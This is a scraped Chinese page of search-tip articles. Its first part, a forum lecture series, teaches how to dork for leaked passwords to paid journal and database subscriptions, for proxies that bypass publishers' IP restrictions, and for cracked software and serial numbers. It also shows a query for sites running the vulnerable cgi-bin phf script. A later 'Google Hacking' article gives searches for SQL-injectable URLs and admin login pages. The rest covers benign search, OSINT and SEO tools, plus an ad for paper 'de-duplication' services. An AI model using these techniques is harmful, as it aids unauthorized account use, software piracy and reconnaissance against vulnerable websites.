3、不要瞧不起中文艺工作者网站。以英文作为关键词进行搜索时英文网站总是出现在最前面,而等看到中文网站时都已经失去了耐心,我们有时候可搜索中文网站,往往会得到很多意想不到的东西。特别是我们隔岸相往的同胞做的ppt也是相当的漂亮!
4、放宽检索范围。
5、我们最后要解决的是下载问题。很网站提供很多下载链接,下载速度一般只有3、5kb, 最糟的只有几百字节。而一般的网页只能同时对两个文件进行下载。解决的方法是重新打开IE然后在新的窗口打开链接,有一次我同时打开十几个窗口进行下载,很快就把所有的内容下载下来。这种下载方法要慎用,这很容易造成对网站的恶意下载。
6、很多网站提供ppt下载的时候也同时提供动画在线观,看着这么多的漂亮东东却无法下载。不是很可惜吗?有关这方面的内容wfj2000在其它帖子已提到过我就不说了。
恳请各位高手对我提出宝贵意见。
四、Bioon全心奉献的系列检索讲座
注意:本讲座中的方法适用于生物与医学的免费全文的文献检索,以及网上各种有用的资料的搜索(幻灯片,各种讲座资料,电子书等),通过使用这些技巧并与著名搜索引擎google(,中文的多使用百度配合使用,以下所有内容都是基于这两个搜索引擎讲解的,更多的讲座见论坛中检索技巧版( )
第一讲:关键词的选择技巧.
推荐先读读google从入门到精通等论文(请注册后再登录)
( ... ;ID=2997&skin=1)
我们了解常规搜索方式,但每个人都会搜索出不同结果,为什么?核心问题在于关键词选择不同。
关键的分析必须保证两点:
一是专业性,即这个词是很精的,可能简化你的搜索结果,因而词甚至可以怪一点,尽量避免大众化的词,如net,site等。即使需要大众化词,如password,username,但若加入一两个特征词,则结果将大大简化。
二是具有代表性,也即这个词具有代表意义,也即它在包含你所需网页内,它在出现的可能,以免一些有用信息被遗漏。
如何达到上述两个要求?我们必须分析网页中字词出现的特点,以及本学科专业词汇特征。
大家看看yahoo,google等medicine和science--biology条目下的分类,发现许多相关的词均在内,如
医学有关的都在Science & Technology 大条目下,又细分为:
Agriculture & Food | Biology | Botany | Chemistry | Computer Science | Enginee
ring | Environmental Dynamics | Geology | Kinesiology | Mathematics | Medicine
| Nursing | Physics | Psychology | Statistics | Zoology。
因此如果仅以medicine检索,就会漏掉不少很有价值的信息,特别是漏掉的专业的。
其次,在medicine下又有很多数据库,如:EBSCO OVID,PROQUEST还有各大出版社自己的万能密码。
大家应该明白一些了吧。
第二讲:主要讲定点搜索和遍搜索的区别及应用。
所谓定点搜索,即指定找某个数据库相关信息,或某篇论文。
遍搜索是指在网上任意逛逛,找些pswd,或者无心插柳柳成荫。
(1)定点数据库和期刊搜索。还是同第一讲一样,主要分析关键词的选择。当然关键词之一是这个数据库的名称。大家注意了:数据库名称一定要用全称和简称都试试。
关键词之二是free,ID,password,user name。
为什么这个关键词?其实这些只能称作是一个关键词,因为它们具有同性或不相容性。如elservier数据库,你最好不要用username和password,因为它主要是采用IP限制的。因而你的重点放在pxory!而不是上述的任何一个。而找某一杂志,则多用user name 和ID/pas
sword合用(注:ID/password只可用一个!),因为杂志往往个人购买,便拥有帐号了。
关键词三:这些数据库可能出现的地方?大学图书馆最多!即使是杂志,图书馆也较个人帐号多。那么图书馆主页上有哪些关键词?library,database,trial,free....,可看看国内一些图书馆的主页,仔细分析比较,便能找到一些共性的东西。
(2)定点论文搜索。
论文,在国外通用PDF格式,因而论文搜索必须用PDF这个核心内容。即找后缀为PDF的东东,语法:filetype DF 这是关键之一
关键词之二:找你所需论文的题或文摘中最怪的词!而不是常用词。(不要用很专业的词往往能找到相近的论文,所谓无心插柳了)
命中率高,但最好是题目中出现的词,为什么?因为往往许多个人站点收录了不少论文,而这些论文往往是以题目名称作为索引的。
第三讲 实战演习-----专业文献搜索技巧。
专业文献与普通文献不同,很难查到。这是本人长期搜索的技巧,十分有效,查专业文献实在好!
1. 查找某本专业刊物的登录密码,如Brain Res
首先选关键词:杂志名(Brain Res),登录(sign in),密码(password)
这样成功率并不高,其实细细看来,不应有登录,因为许多提供密码的地方,并不出现登录这个词,而多出现用户名(user name),而且杂志名多用全称(brain research),再试试
!哦,成功了!
2. 查找某篇论文的全文,尤其是外文文献,许多全文服务均需收费。
当然可先按第一种方法搜索一下,看看有无密码可寻,若无,则找到该篇论文的特殊字段(key words),然后搜索PDF文件。不过这有几个条件,一是该杂志确已上网,有明确地址 ,其二,一般需在1997年以后文献才可。
举例:Gattullo D, Pagliaro P, Marsh NA, Losano G。New insights into nitric oxide and coronary circulation.Life Sci 1999;65(21):2167-74。
这篇论文是收费的。采用:inurldf:Gattullo Pagliaro coronary,结果24项,找到其中的第2页,有下面一项Life Sciences [Volume 65, Issue 21, Pages 2167-2268 (1999)]
... 1. New Insights into Nitric Oxide and Coronary Circulation, Pages 2167-2174 D. Gattullo, P. Pagliaro, NA Marsh and G. Losano 2. ...
147.46.94.112/journal/sej/j_l/l339.htm - 14k - 网页快照 - 类似网页
打开网页快照,第一篇即是其目录,下载即可!OK!成功
3. 查找专业软件的破解软件或注册码
常规软件的注册码很好找,但专业软件太少,而且注册码也少,破解更少,如何找?
如找origin 6.1版的破解版,或注册码。不管采用网易、搜狐等软件搜索,均找不到该软件。那么只好借用特殊搜索了。
分析:一般有些破解软件的页面一般至少有以下一些信息:软件名称,版本,序列号(serial number, OR sn),破解(crack, OR CRK),提供下载的地方有.ZIP字样(压缩文件为多
)。为了方便起见,也防止版本太精确反而不易搜索的特点,在googlek 输入origin 破解, 哦!OK!成功!如果其它的软件一次搜索的结果太多的话,则考虑加6.1以减小其搜索范围。或搜索结果太少且不是需要的话,将破解换为"注册码"试试,一般效果不错。
4. 查找中文文献的免费全文如我知道重庆维普提供免费全文服务,但目前许多站点都不能用了。另外,还有万方数据库、CNKI也提供,那么我如何查到这些数据库的免费入口呢?
这需要一定的技巧,采用google或百度试试:输入:重庆维普 密码哦!66项!仔细找一找,必有结果!OK!
第四讲 百度与google比较 。
大家好,这一讲讲百度与google比较
搜索英文不必说用google,搜索中文呢?
很多人并不了解它们更新的情况,google发展早,因而它贮存了大量旧的信息,百度发展迟,信息较新。
更新速度:对中文google一般半月至一月一更新,而且仅搜索到三级链接,三级以下便不在搜索,那么我如何看到最新的google搜索的结果呢?这个站点:,可见google采用不同服务器逐步更新的。百度的更新较快,半月一次,最快一周。那么如何衡梁这半月与一月的差剧与价值?
对于一些试用数据库,有效期短,或象万方等一月一换密码,最好选用百度,现在维普老是打一枪换一个地方,因而也只好用百度了,google往往搜索出来的结果已过期了。而能长期使用的密码或数据库,一般象国外的(国内有没有,我真不知道),最好用google,
毕竟技术更老道一些,搜索出的结果更多,更广!
第五讲 补充讲一点关键词的选择。
关于关键词,最近看到高手huangwei98 公布的一些关键词,很值得参考。但总之一句话,
高手=技巧+时间,有时多看看,往往获得其它的密码,这是太正常的事了。
关键词组合:
nurse journal password
new medicine password
What's New medicine password
périodiques électroniques password( 注意了,不是英文字母样!)
biomedical library password
LWW Journal Collection password
Bibliotekets databaser password
Kluwer Online password
journalwebsite password
基本路子仍是数据库+password+补充性关键词(或称定向性关键词)
所谓定向性关键词是将你的检索范围定于某一可能的区域,如图书馆、个人站点,以缩小检索范围。如单个杂志,可定位于个人,若是数据库检索,则宜加library,因为个人是不会买数据库的。同时另一个定向是生物和医学,所用的关键词medicine,biology,biomed.
当然仍可加第三定向关键词,如杂志(journal)、免费(free)、在线(online),但一定要注意第三关键词的特征性不强,要选择使用,不可过用,否则会将一大批可能有用的站点排除掉,切记!
但这主要针对国外的,而国内的一般多在各大学图书馆内,常用密码、免费、杂志、数据库名等搜索,效果较好。
但对于有些杂志,如sciencedirect,Ideallibrary多采用IP验证方式,一般密码并不能用,这时多采用代理服务器方式,因而如何找到有效的代理太重要的。如清华的elsevier便是代理。下下一讲讲如何找代理。
第六讲 关键词联合使用。
国内图书馆提到数据库往往只提***数据库,而国外图书馆多列出该数据库内各种杂志名,而且多按字母分类。因而为了提高检索的准确率,一般将同一数据库内的杂志的首字母相同的杂志名用两到三个联合搜索,再结合前面讲的加用其它关键词,能有效缩小检索范围
,翕中率极高。从这里可以看到,如果透彻分析一些图书馆内主页设计的特征,是搜索的关键。
如检索brain research,可列出brain research bulltin,同时检索,效果要好些。
第七讲 搜索公开的代理服务器技巧。
中文:
代理 维普(或其它数据库名) 数据库,能找到一些,但国内一般真正使用代理的较少。
英文:
proxy 数据库名 IE netscape
效果非常好,但一定要注意,许多地方不仅用代理服务器,而且需密码认证,不可过于乐观!应认真鉴别。
第八讲。先插几句废话,本论坛的目的是培养真正懂得搜索技巧的人员,当然搜索技巧不只是密码之类,还应包括检索常用文件,pubmed等,这也是水平和本领,切不可以找密码为乐。我们应该培养全方位的文献检索能力,否则即使有密码,也未必找到自己所需的信息,网海茫茫,有用者若斯!
现在进入正题,今天讲百度和google语法,其实这在从google入门到精通中都有所阐述这是重提,以示重视,并无太多的新意,只是将大理论与实际相结合起来。
找特定文件名的文件,尤其是PDF、ZIP、swf、DOC、TXT、RAR、EXE、RM、Mp3,MOV,PPT这些文件名都是网友想找的重点,至于各是什么类型文件,请上网查一下便知道了,这里不多说了。尤其老板让你做个powerpoint,找不到图怎么办?用google去搜索。
方法是利用语法filetype:后缀名。
如找PDF文件,在正常关键词后面加filetype DF即可,搜索结果全是PDF文件。这是我写的另一篇,可参考:
... p;ID=839&page=1
找特定题目的网页语法intitle:网站
查找友情链接:
"link:"(英文单字link后加冒号)用于搜索链接到某个URL地址的网页。可以了解有哪些网页把链接指向您的网页查找特定站点:
site:*.com
如 金庸 古龙 site:
但不可加入或/这类,否则是错的。
"cache"用来搜索GOOGLE服务器上某页面的缓存,通常用于查找某些已经被删除的死链接网页,相当于使用普通搜索结果页面中的"网页快照"功能。
示例:查找GOOGLE缓存的中文yahoo首页
搜索:"cache:"
info用来显示与某链接相关的一系列搜索,提供cache、link、related和完全包含该链接的网页的功能。
示例:查找和新浪首页相关的一些资讯。
搜索:"info:"
结果:有的网页信息。
示例:查找美国教育网上的宇宙大爆炸jpg图片
搜索:"BIG BANG filetype:jpg site:edu"
结果:搜索有关 BIG BANG filetype:jpg site:edu 的图片
第九讲,专讲一个特殊语法,很有用:inurl。
"inurl"语法返回的网页链接中包含第一个关键字,后面的关键字则出现在链接中或者网页文档中。有很多网站把某一类具有相同属性的资源名称显示在目录名称或者网页名称中,比如"MP3"、"GALLARY"等,于是,就可以用INURL语法找到这些相关资源链接,然后
,用第二个关键词确定是否有某项具体资料。INURL语法和基本搜索语法的最大区别在于,前者通常能提供非常精确的专题资料。
示例:查找MIDI曲"沧海一声笑"。
搜索:"inurl:midi 沧海一声笑"
结果:已搜索有关inurl:midi 沧海一声笑的中文(简体)网页。
示例:查找微软网站上关于windows2000的安全课题资料。
搜索:"inurl:security windows2000 site:"
结果:已在内搜索有关inurlecurity windows2000 的网页。
注意:"inurl:"后面不能有空格,GOOGLE也不对URL符号如"/"进行搜索。例如,GOOGLE会把"cgi-bin/phf"中的"/"当成空格处理。
而一般众多密码或数据库往往出现在链接之中,如查Ideallibrary
inurl:ideallibrary proxy passowrd(ID)
"allinurl"语法返回的网页的链接中包含所有作用关键字。这个查询的关键字只集中于网页的链接字符串。
示例:查找可能具有PHF安全漏洞的公司网站。通常这些网站的CGI-BIN目录中含有PHF脚本程序(这个脚本是不安全的),表现在链接中就是"域名/cgi-bin/phf"。
语法:"allinurl:"cgi-bin" phf +com"
搜索:已向英特网搜索allinurl:"cgi-bin" phf +com. 共约有37项查询结果,这是第1-10项 。搜索用时0.36秒
补充讲site语法
site即将搜索定位于某一个域名上,有利于缩小搜索范围,提高搜索效率 。如keywords site:edu,效果很好!可以方便地搜索到各大学内有用的资源,至于关键词的选择,其它讲都有了。
site:tw, site:edu.tw, site: .......
这是定位于国家或地区,将搜索局限于某些国家或地区,或加上edu,则是这些国家或地区的大学,效果自然更好。如果site:则搜索国内医科大学内的资源(会漏综合性大学的资源的,要慎用)。
一般的,欧美人的版权意识强,一般密码不易公布,相反,非洲、美洲、亚洲则往往公开密码,这是获得密码的最重要来源之一,善于利用这些地方的资源有助于提高搜索效率。这是site两大好处,不可忽视!
也许您正为文章烦恼,一篇论文完成耗时数月,而在发表时却是坎坷万千。
我们提供以下指导和服务:
评估服务、翻译、润色服务、文章综合编辑服务、SCI论文降重、文章校对等SCI论文服务。
识别二维码即可咨询
尚辑Sagesci ● SCI论文服务品牌
好可怕的搜索引擎!
网站优化 • 优采云 发表了文章 • 0 个评论 • 68 次浏览 • 2022-05-14 08:11
来源 |小白学黑客
作者 |小白哥
信息搜集和社会工程学是网络安全的非常重要组成部分。
今天这篇文章就来介绍下信息搜集方面经常用到的技术:Google Hacking,就算暂时没有太多专业的网络安全知识,但是如果能熟练运用搜索引擎,也能变身一个小小的黑客。
Google Hacking,字面意思是利用 Google 搜索引擎搜索信息来进行入侵的技术和行为,现在已经引申为利用一切搜索引擎进行网络入侵的技术和行为。
搜索引擎大家都用过,在搜索框中输入关键词,一键回车,结果就展示在我们面前。但实际上,这个搜索框内藏玄机,除了关键词,还有别的用法。
搜索引擎对于搜索的内容提供了多种语法,通过构造特定的搜索语句,能够快速全面地让攻击者挖掘到有价值的信息。
本文列举一些常用的例子,如果没有特别说明,本文列出的搜索语法在 Google 和百度中都能适用,本文内容以 Google 为例展示。
site
语法:site
作用:限定在特定的网址中搜索
有时候全网搜索有点像大海捞针,而如果我们有特别关心的网站,想只显示这个网站的搜索结果,就可以用到 site 语法,比如我在微软的官网内搜索漏洞编号 CVE-2014-4114:
可以看到,显示的结果都是在指定网站中的,大大减少了我们在海量信息中的筛选成本。
实际上,不少网站为了省事,这些网站的站内搜索功能就是利用搜索引擎的 site 语法来实现的。
filetype
语法:filetype
作用:搜索特定的文件类型
有时候我们想找特定类型的文档,比如 PPT、PDF 等,但默认情况下出来的都是网页,很难找到我们想要的内容,这个时候就可以用上 filetype 语法。比如我想搜索 web 安全相关的 PDF 电子书:
这下出来的,都是我们想要的了,用这一招搜索技术文档、电子书等等屡试不爽哦。
inurl
语法:inurl
作用:在 URL 中搜索出现指定内容的链接
这一个语法有什么用?普通人很少直接关心链接本身的内容,但是对于咱们 hacker 来说,URL 就重要了,比如我们可以用来搜索可能存在 SQL 注入的链接:
除了 SQL 注入,还可以搜索可能存在的网站后台管理入口:
如果我们再加上前面的 site 语法组合使用,就可以找出指定网站的这种链接了,定向寻找攻击点。
intitle
语法:intitle
作用:在网页 title 中搜索出现指定内容的网页
除了在 URL 中搜索,咱们还能在标题中搜索。一般网站后台管理页面都会带有“后台”、“管理”、“登录”等字眼,我们可以通过在 HTML 的 title 字段位置搜索这些关键词,寻找可疑的后台登录页面。
intext
语法:intext
作用:除了 URL 和 title,剩下的就是正文位置搜索了
比如我们搜索使用 discuz 搭建的论坛网站:
Google Hacking DataBase
看了这么多,不知道你学废了吗?
如果没有也没有关系,这里有个神器:Google Hacking 数据库,汇集了非常多的有价值的搜索语句,你可以用这些来搜搜看,看看能不能发现些什么信息。
学会使用搜索引擎,是每一个 hacker 必备的技能之一,看完这篇赶紧操练起来,动动手试一试。不过以学习为主,切莫拿去做违法事情哦,现在的网络安全法那可不是闹着玩的! 查看全部
好可怕的搜索引擎!
来源 |小白学黑客
作者 |小白哥
信息搜集和社会工程学是网络安全的非常重要组成部分。
今天这篇文章就来介绍下信息搜集方面经常用到的技术:Google Hacking,就算暂时没有太多专业的网络安全知识,但是如果能熟练运用搜索引擎,也能变身一个小小的黑客。
Google Hacking,字面意思是利用 Google 搜索引擎搜索信息来进行入侵的技术和行为,现在已经引申为利用一切搜索引擎进行网络入侵的技术和行为。
搜索引擎大家都用过,在搜索框中输入关键词,一键回车,结果就展示在我们面前。但实际上,这个搜索框内藏玄机,除了关键词,还有别的用法。
搜索引擎对于搜索的内容提供了多种语法,通过构造特定的搜索语句,能够快速全面地让攻击者挖掘到有价值的信息。
本文列举一些常用的例子,如果没有特别说明,本文列出的搜索语法在 Google 和百度中都能适用,本文内容以 Google 为例展示。
site
语法:site
作用:限定在特定的网址中搜索
有时候全网搜索有点像大海捞针,而如果我们有特别关心的网站,想只显示这个网站的搜索结果,就可以用到 site 语法,比如我在微软的官网内搜索漏洞编号 CVE-2014-4114:
可以看到,显示的结果都是在指定网站中的,大大减少了我们在海量信息中的筛选成本。
实际上,不少网站为了省事,这些网站的站内搜索功能就是利用搜索引擎的 site 语法来实现的。
filetype
语法:filetype
作用:搜索特定的文件类型
有时候我们想找特定类型的文档,比如 PPT、PDF 等,但默认情况下出来的都是网页,很难找到我们想要的内容,这个时候就可以用上 filetype 语法。比如我想搜索 web 安全相关的 PDF 电子书:
这下出来的,都是我们想要的了,用这一招搜索技术文档、电子书等等屡试不爽哦。
inurl
语法:inurl
作用:在 URL 中搜索出现指定内容的链接
这一个语法有什么用?普通人很少直接关心链接本身的内容,但是对于咱们 hacker 来说,URL 就重要了,比如我们可以用来搜索可能存在 SQL 注入的链接:
除了 SQL 注入,还可以搜索可能存在的网站后台管理入口:
如果我们再加上前面的 site 语法组合使用,就可以找出指定网站的这种链接了,定向寻找攻击点。
intitle
语法:intitle
作用:在网页 title 中搜索出现指定内容的网页
除了在 URL 中搜索,咱们还能在标题中搜索。一般网站后台管理页面都会带有“后台”、“管理”、“登录”等字眼,我们可以通过在 HTML 的 title 字段位置搜索这些关键词,寻找可疑的后台登录页面。
intext
语法:intext
作用:除了 URL 和 title,剩下的就是正文位置搜索了
比如我们搜索使用 discuz 搭建的论坛网站:
Google Hacking DataBase
看了这么多,不知道你学废了吗?
如果没有也没有关系,这里有个神器:Google Hacking 数据库,汇集了非常多的有价值的搜索语句,你可以用这些来搜搜看,看看能不能发现些什么信息。
学会使用搜索引擎,是每一个 hacker 必备的技能之一,看完这篇赶紧操练起来,动动手试一试。不过以学习为主,切莫拿去做违法事情哦,现在的网络安全法那可不是闹着玩的!
这几个百度搜索技巧,小电影都搜的到!
网站优化 • 优采云 发表了文章 • 0 个评论 • 248 次浏览 • 2022-05-14 07:59
先说百度网盘网盘是个好东西,现在除了被干掉的快播,就某某网盘最火了,当然,最火的这个不是百度网盘。
我们看图说话:
再来个正儿八经的(你也可以搜必的小电影)
完美!!
在看看python书籍
pdf也是个好东西
下面介绍几种百度搜索技巧
1、 关键词加引号
比如我要搜索:python教程app,在搜索的时候很有可能会把”pthon“和“教程app”拆分开,然后分别进行搜索,这时候我们可以把关键词放入引号内,就代表完全匹配搜索,也就是所显示的搜索结果一定包含完整的关键词,不会出现近义词和拆分的情况。
这不就是老曾写的App吗?
2、site:用于搜索指定网站下的关键信息
比如我只想在我自己博客网站上搜索“计算”这个信息,我可以使用关键词 site:计算 进行搜索,这样搜出来的信息都是我博客上的内容。如下图:
3、在标题里面限定进行精准搜索
如果我们想得到搜索结果的标题中包含我们输入的关键词,这时候可以用intitle:进行限定。
比如我想搜索引擎返回的结果在标题里面包含“程序员”这个关键词,可以输入关键词:intitle:程序。如下图:
4、 精准搜索你要的文档类资料
有时候我们想在百度上找某个课程的文档,但是搜出来的信息总不是自己想要的,可以试一下关键词:filetype:+文档格式。
比如我们想在网上搜索高等数学课doc格式的文章,我们可以这样搜索:python filetype:ppt,如下图:
5、 指定链接进行精准搜索
在网页链接中我们可以限定关键词进行搜索,只要在关键词前面加:inurl:
例如:我要精准搜索关键词:Java
可以输入关键词:inurl:Java,如下图:
-------------------------
记住,搜索的时候关键词越短越好,搜索内容就越多
谭庆波
就这些,各位朋友,觉得有用的话记得点个赞!
微信8.0将好友放开到了一万,小伙伴可以加我大号了,先到先得,再满就真没了 查看全部
这几个百度搜索技巧,小电影都搜的到!
先说百度网盘网盘是个好东西,现在除了被干掉的快播,就某某网盘最火了,当然,最火的这个不是百度网盘。
我们看图说话:
再来个正儿八经的(你也可以搜必的小电影)
完美!!
在看看python书籍
pdf也是个好东西
下面介绍几种百度搜索技巧
1、 关键词加引号
比如我要搜索:python教程app,在搜索的时候很有可能会把”pthon“和“教程app”拆分开,然后分别进行搜索,这时候我们可以把关键词放入引号内,就代表完全匹配搜索,也就是所显示的搜索结果一定包含完整的关键词,不会出现近义词和拆分的情况。
这不就是老曾写的App吗?
2、site:用于搜索指定网站下的关键信息
比如我只想在我自己博客网站上搜索“计算”这个信息,我可以使用关键词 site:计算 进行搜索,这样搜出来的信息都是我博客上的内容。如下图:
3、在标题里面限定进行精准搜索
如果我们想得到搜索结果的标题中包含我们输入的关键词,这时候可以用intitle:进行限定。
比如我想搜索引擎返回的结果在标题里面包含“程序员”这个关键词,可以输入关键词:intitle:程序。如下图:
4、 精准搜索你要的文档类资料
有时候我们想在百度上找某个课程的文档,但是搜出来的信息总不是自己想要的,可以试一下关键词:filetype:+文档格式。
比如我们想在网上搜索高等数学课doc格式的文章,我们可以这样搜索:python filetype:ppt,如下图:
5、 指定链接进行精准搜索
在网页链接中我们可以限定关键词进行搜索,只要在关键词前面加:inurl:
例如:我要精准搜索关键词:Java
可以输入关键词:inurl:Java,如下图:
-------------------------
记住,搜索的时候关键词越短越好,搜索内容就越多
谭庆波
就这些,各位朋友,觉得有用的话记得点个赞!
微信8.0将好友放开到了一万,小伙伴可以加我大号了,先到先得,再满就真没了
【工具类】查找指定位置附近的社交媒体内容
网站优化 • 优采云 发表了文章 • 0 个评论 • 103 次浏览 • 2022-05-12 02:00
在FB和INS上,我们可以搜索指定位置的发帖内容。但是这样工作效率太低,我们无法全面掌握目标区域内的所有内容(除非有一张该区域内可搜索的地点清单)。网页工具Instahunt为我们提供了很好的帮助,能够快速在地图显示指定位置附近所有的FB和INS链接。
Instahunt链接:
1.账号登录
搜索之前登录您的FB账号和INS账号
2.获取JSON数据在右上角填入目标位置,之后点击左上角FIND PLACES得到所有JSON输出
3.地图可视化将JSON输出复制粘贴至指定文本框中,单击“映射您的INS地点”按钮后即可在地图上显示周围所有的FB和INS帖子,之后选择感兴趣的地点单击“查看帖子”即可。
以顿涅茨克为例,使用其乌克兰语Донецьк作为搜索关键词,在地图上显示的图像如下所示:
经过逐一查看,其中我们认为具有开源情报价值的是位于Парк кованых фигур(锻造人物公园)的一条INS:
关键信息:两天前发布;顿涅茨克;坦克。
针对热点事件,或许在之后的开源情报过程中也能利用类似方法提前预知局势走向。 查看全部
【工具类】查找指定位置附近的社交媒体内容
在FB和INS上,我们可以搜索指定位置的发帖内容。但是这样工作效率太低,我们无法全面掌握目标区域内的所有内容(除非有一张该区域内可搜索的地点清单)。网页工具Instahunt为我们提供了很好的帮助,能够快速在地图显示指定位置附近所有的FB和INS链接。
Instahunt链接:
1.账号登录
搜索之前登录您的FB账号和INS账号
2.获取JSON数据在右上角填入目标位置,之后点击左上角FIND PLACES得到所有JSON输出
3.地图可视化将JSON输出复制粘贴至指定文本框中,单击“映射您的INS地点”按钮后即可在地图上显示周围所有的FB和INS帖子,之后选择感兴趣的地点单击“查看帖子”即可。
以顿涅茨克为例,使用其乌克兰语Донецьк作为搜索关键词,在地图上显示的图像如下所示:
经过逐一查看,其中我们认为具有开源情报价值的是位于Парк кованых фигур(锻造人物公园)的一条INS:
关键信息:两天前发布;顿涅茨克;坦克。
针对热点事件,或许在之后的开源情报过程中也能利用类似方法提前预知局势走向。
技巧 | 如何搜索公众号里的指定内容 ?
网站优化 • 优采云 发表了文章 • 0 个评论 • 306 次浏览 • 2022-05-12 01:57
本期概要 :在使用微信,查找公众号相关资料和内容的时候,我们往往会用到搜索。但是很多朋友不清楚如何在指定公众号下面搜索特定的内容,需要一条一条翻阅历史消息,非常痛苦,今天给大家介绍简单易用的方法,轻松地找到你需要的内容。
以本公众号为例,方法可以用在所有其他公众号里。
第一步:点击所有文章,跳转到历史文章的页面。
第二步:把界面,整体往下拉。
第三步:出现搜索框,可以进行搜索了。
第四步:随意键入您要的关键词。建议输入少量精确的词语。
视频教程:
查看全部
技巧 | 如何搜索公众号里的指定内容 ?
本期概要 :在使用微信,查找公众号相关资料和内容的时候,我们往往会用到搜索。但是很多朋友不清楚如何在指定公众号下面搜索特定的内容,需要一条一条翻阅历史消息,非常痛苦,今天给大家介绍简单易用的方法,轻松地找到你需要的内容。
以本公众号为例,方法可以用在所有其他公众号里。
第一步:点击所有文章,跳转到历史文章的页面。
第二步:把界面,整体往下拉。
第三步:出现搜索框,可以进行搜索了。
第四步:随意键入您要的关键词。建议输入少量精确的词语。
视频教程:
如何一键识别网站质量?如何一秒搜索精准内容?
网站优化 • 优采云 发表了文章 • 0 个评论 • 112 次浏览 • 2022-05-11 19:20
前者可以帮你快速判断一个网站到底有没有料,提高信息筛选的效率;后者可以帮你快速定位自己要找的信息,即自定义搜索。
毕竟明明只想搜索网站A、B、C的内容,却一直刷到网站D、E、F的链接,是很头疼的。
—1—
MozBar谷歌插件
1.MozBar谷歌插件
第一款分享的工具是MozBar谷歌插件, 在谷歌浏览器的扩展程序中先安装插件。
下载地址:
这已经是个很出名的老牌搜索引擎优化插件了,可以用来评判网站好坏。
不仅可以用来评估别人的网站、网页质量,也可以用来评估自己的网站表现。
其中有两个值需要注意 :0-100取值,越大越优秀
DA(Domain Authority),网站权重的指标;
PA(Page Authority),网页权重指标。
左上角绿色图标还可以导出网页搜索的相关数据。
2. Mozbar一键识别网站质量
具体用法举个例子吧。
如果我要找红人做推广,在网上搜到了一系列红人资源后,想排查红人的质量,就可以用到MozBar。
首先搜索我们想让这个红人进行推广的,红人的主页,比如我们想让红人做YouTube的推广,就搜索其YouTube主页。
这个YouTube美妆博主的账号DA高达100,主页的PA达76,说明她的热度非常高,有条件的话完全可以放心找她合作。
同理MozBar也可以用来分析其他站点的质量。
—2—
谷歌自定义搜索引擎
在介绍这个有点烧脑的工具之前,先和大家分享一件趣事。(其实按照我分享的步骤操作并不难掌握)
今天同事咨询我该怎么扒原贴。
他在网页看到这张图,想找原帖,但即使知道这是博主在Facebook发布的帖子,也知道是2019年发布的,甚至连文本内容都知道,可他就是没办法在博主的Facebook主页扒出来这条陈年老帖。
即使设置好了搜索条件,右侧的显示也跟原帖毫不相干。
而我用谷歌自定义搜索引擎来搜索,一下子就找到了这条帖子,而且搜索结果非常精准,就是这一条内容。
1.谷歌自定义搜索引擎是什么
先贴网址:
欢迎大家先来看一下我的的小粉红乞丐版自定义搜索引擎,是不是跟平常我们在谷歌的搜索很不一样?
外观可以自定义,要搜索的内容也可以定向。
分为几个板块,第一个板块是搜索标签;第二个板块是谷歌的广告内容;第三个板块是搜索结果。
如果我想搜索网站内容,就选择Web,如果想搜索图片内容,就选择Image。
我把All results标签设置为包含右边所有标签。
即我用All results标签搜索”小米手机“,就会得到twitter、Facebook、tumblr、 reddit、youtube这几个网站里,所有关于”小米手机“的内容。
当然我也可以根据各个不同标签找。
比如我想搜索twitter里所有关于”小米手机“的帖子,就直接用twitter的标签进行搜索。
是不是很方便!
2.手把手教你设置自定义搜索
a)第一步:新增搜索引擎
以下为设置初步自定义搜索的流程。
打开网址:
点击添加,填写内容,然后点击创建。
创建完成后会显示该界面。
我们先来点击公开网址,如图:
在搜索框我们试着搜索一下最近的东北虎热点事件:
我们看到出来的都是Facebook(twitter也有显示在后面)上关于东北虎的讨论,非常精准。
接着点击修改搜索引擎控制台,如图:
这里大家可以自行设置,但是注意,正常情况下建议打开图片搜索和安全搜索。
b)第二步:修改搜索引擎
这是我之前设置好参数的自定义搜索引擎”测试版“。
左边进行设置的同时,可以在右边看到预设的界面。外观设置就不说了,大家按照自己的喜好去调整。
标签的设置是在”“搜索功能”的“优化一栏。
按照自己的需要添加标签。
比如我想有一个标签专门显示Facebook的内容,我就把标签命名为”Facebook“(或者其他自定义名称),并选择”进搜索具有此标签的网站“。
创建完标签后回到设置栏,下拉。
勾选你要添加进标签的网站(可以勾选多个),选择标签,就完成对标签的设置了。
乞丐版自定义搜索引擎完成。
3.普通搜索 vs 自定义搜索
设置完成后我们可以对比两个搜索引擎进行搜索。
比如我想做小米手机在twitter的市场调研,想知道twitter里关于小米手机的帖子大多在讨论什么内容。
我尝试着在普通谷歌浏览器搜索“小米手机+twitter”。
前五的结果除了第一条是来自推特的标签,剩下的全是来自其它网站。
我用自定义搜索引擎来试试看。
直接在我刚才设置好的搜索引擎里,选择twitter的标签,然后搜索“小米手机”。
除了前面的广告页,直接拉下来,搜索到的全是来自twitter的内容。
直接提高我做市场调查的效率有没有!自定义搜索引擎完胜。
—3—
结语
以上两个工具还有很多功能,感兴趣的朋友完全可以继续摸索。比如谷歌自定义搜索引擎其实也是站长们可以利用起来的好工具。
可以用来给自己的网站做一个导航链接分享出去,甚至可以自定义广告栏,曾经谷歌是收广告费的庄家,现在收广告费的庄家成了你。
而MozBar不仅仅能分析网页/网站质量,还能分析关键字排名、网站SEO强度、SEO分析...这简直就是给你开了外挂,可以用来分析别人网站的流量具体是怎么跑的。
但对于想提高搜索效率的基础玩家,这两款工具的初级玩法也完全够用了。 查看全部
如何一键识别网站质量?如何一秒搜索精准内容?
前者可以帮你快速判断一个网站到底有没有料,提高信息筛选的效率;后者可以帮你快速定位自己要找的信息,即自定义搜索。
毕竟明明只想搜索网站A、B、C的内容,却一直刷到网站D、E、F的链接,是很头疼的。
—1—
MozBar谷歌插件
1.MozBar谷歌插件
第一款分享的工具是MozBar谷歌插件, 在谷歌浏览器的扩展程序中先安装插件。
下载地址:
这已经是个很出名的老牌搜索引擎优化插件了,可以用来评判网站好坏。
不仅可以用来评估别人的网站、网页质量,也可以用来评估自己的网站表现。
其中有两个值需要注意 :0-100取值,越大越优秀
DA(Domain Authority),网站权重的指标;
PA(Page Authority),网页权重指标。
左上角绿色图标还可以导出网页搜索的相关数据。
2. Mozbar一键识别网站质量
具体用法举个例子吧。
如果我要找红人做推广,在网上搜到了一系列红人资源后,想排查红人的质量,就可以用到MozBar。
首先搜索我们想让这个红人进行推广的,红人的主页,比如我们想让红人做YouTube的推广,就搜索其YouTube主页。
这个YouTube美妆博主的账号DA高达100,主页的PA达76,说明她的热度非常高,有条件的话完全可以放心找她合作。
